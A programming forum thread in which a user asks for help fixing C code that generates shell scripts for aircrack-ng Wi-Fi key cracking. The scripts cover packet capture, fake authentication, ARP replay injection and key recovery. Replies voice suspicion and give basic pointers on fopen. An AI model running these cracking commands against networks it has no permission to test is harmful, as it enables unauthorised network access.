Thread: Bugs in new program cracKrocKs !?

  1. #1
    Registered User
    Join Date
    Mar 2008
    Location
    NE Washinton
    Posts
    38

    Bugs in new program cracKrocKs !?

    Here is what I have so far.
    Code:
    #include<stdio.h>
    #include<string.h>
    void strip_newline(char *str,int size)
    {
     int i;
     for(i=0;i<size;++i){
      if(str[i]=='\n'){
       str[i]='\0';
       return;
      }
     }
    }
    int main()
    {
     char bssid[20];
     char essid[20];
     int channel;
     printf("AP BSSID:");
     fgets(bssid,20,stdin);
     strip_newline(bssid,20);
     printf("AP ESSID:");
     fgets(essid,20,stdin);
     strip_newline(essid,20);
     printf("AP CHANNEL:");
     scanf("%d",&channel);
     FILE *capture;
     capture=fopen("%s-capture.sh","w",essid);
     fprintf(capture,"#!/bin/bash\n\nsudo airodump-ng -c %d -d %s -w %s mon0\n",channel,bssid,essid);
     fclose(capture);
     FILE *auth/injection;
     auth/injection=fopen("%s-auth/injection.sh","w",essid);
     fprintf(auth/injection,"#!/bin/bash\n\nsudo aireplay-ng -1 0 -e '%s' -a %s -h 00:19:7E:71:C0:2D mon0\n",essid,bssid);
     fprintf(auth/injection,"sudo aireplay-ng -3 -b %s -h 00:19:7E:71:C0:2D mon0\n",bssid);
     fclose(auth/injection);
     FILE *crack;
     crack=fopen("%s-crack.sh","w",essid);
     fprintf(crack,"#!/bin/bash\n\nsudo aircrack-ng -z -b %s %s*.cap\n",bssid,essid);
     fclose(crack);
     getchar();
     return 0;
    }
    My Goal is to have to program write 3 individual shell scripts, each one preforming the specifed commands within the scripts. But I'm getting errors, here are the errors I get on my machine when trying compiling.

    Code:
    beatzz@hax0r:~/documents/c/test$ gcc -o crackrocks crackrocks.c
    crackrocks.c: In function ‘main’:
    crackrocks.c:27: error: too many arguments to function ‘fopen’
    crackrocks.c:30: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘/’ token
    crackrocks.c:30: error: expected expression before ‘/’ token
    crackrocks.c:31: error: ‘auth’ undeclared (first use in this function)
    crackrocks.c:31: error: (Each undeclared identifier is reported only once
    crackrocks.c:31: error: for each function it appears in.)
    crackrocks.c:31: error: ‘injection’ undeclared (first use in this function)
    crackrocks.c:31: error: too many arguments to function ‘fopen’
    crackrocks.c:36: error: too many arguments to function ‘fopen’
    beatzz@hax0r:~/documents/c/test$
    Last edited by elsheepo; 03-08-2009 at 05:56 PM.

  2. #2
    30 Helens Agree neandrake's Avatar
    Join Date
    Jan 2002
    Posts
    640
    gee how suspect
    Environment: OS X, GCC / G++
    Codes: Java, C#, C/C++
    AOL IM: neandrake, Email: neandrake (at) gmail (dot) com

  3. #3
    Registered User
    Join Date
    Mar 2008
    Location
    NE Washinton
    Posts
    38
    Of course this program is only to help further the efforts of security on my own private, HOME network.

  4. #4
    and the Hat of Guessing tabstop's Avatar
    Join Date
    Nov 2007
    Posts
    14,336
    Surely your network isn't so secure you can't type "man fopen"?

  5. #5
    Registered User
    Join Date
    Mar 2008
    Location
    NE Washinton
    Posts
    38
    Code:
    beatzz@hax0r:~/documents/c/test$ man fopen
    No manual entry for fopen
    beatzz@hax0r:~/documents/c/test$

  6. #6
    Woof, woof! zacs7's Avatar
    Join Date
    Mar 2007
    Location
    Australia
    Posts
    3,459
    Get yourself section 3 of the manual (ANSI C). Called manpages-dev or something, depending on your distro.

Popular pages Recent additions subscribe to a feed

Similar Threads

  1. Using variables in system()
    By Afro in forum C Programming
    Replies: 8
    Last Post: 07-03-2007, 12:27 PM
  2. BOOKKEEPING PROGRAM, need help!
    By yabud in forum C Programming
    Replies: 3
    Last Post: 11-16-2006, 11:17 PM
  3. Can someome help me with a program please?
    By WinterInChicago in forum C++ Programming
    Replies: 3
    Last Post: 09-21-2006, 10:58 PM
  4. Replies: 2
    Last Post: 05-10-2002, 04:16 PM
  5. My program, anyhelp
    By @licomb in forum C Programming
    Replies: 14
    Last Post: 08-14-2001, 10:04 PM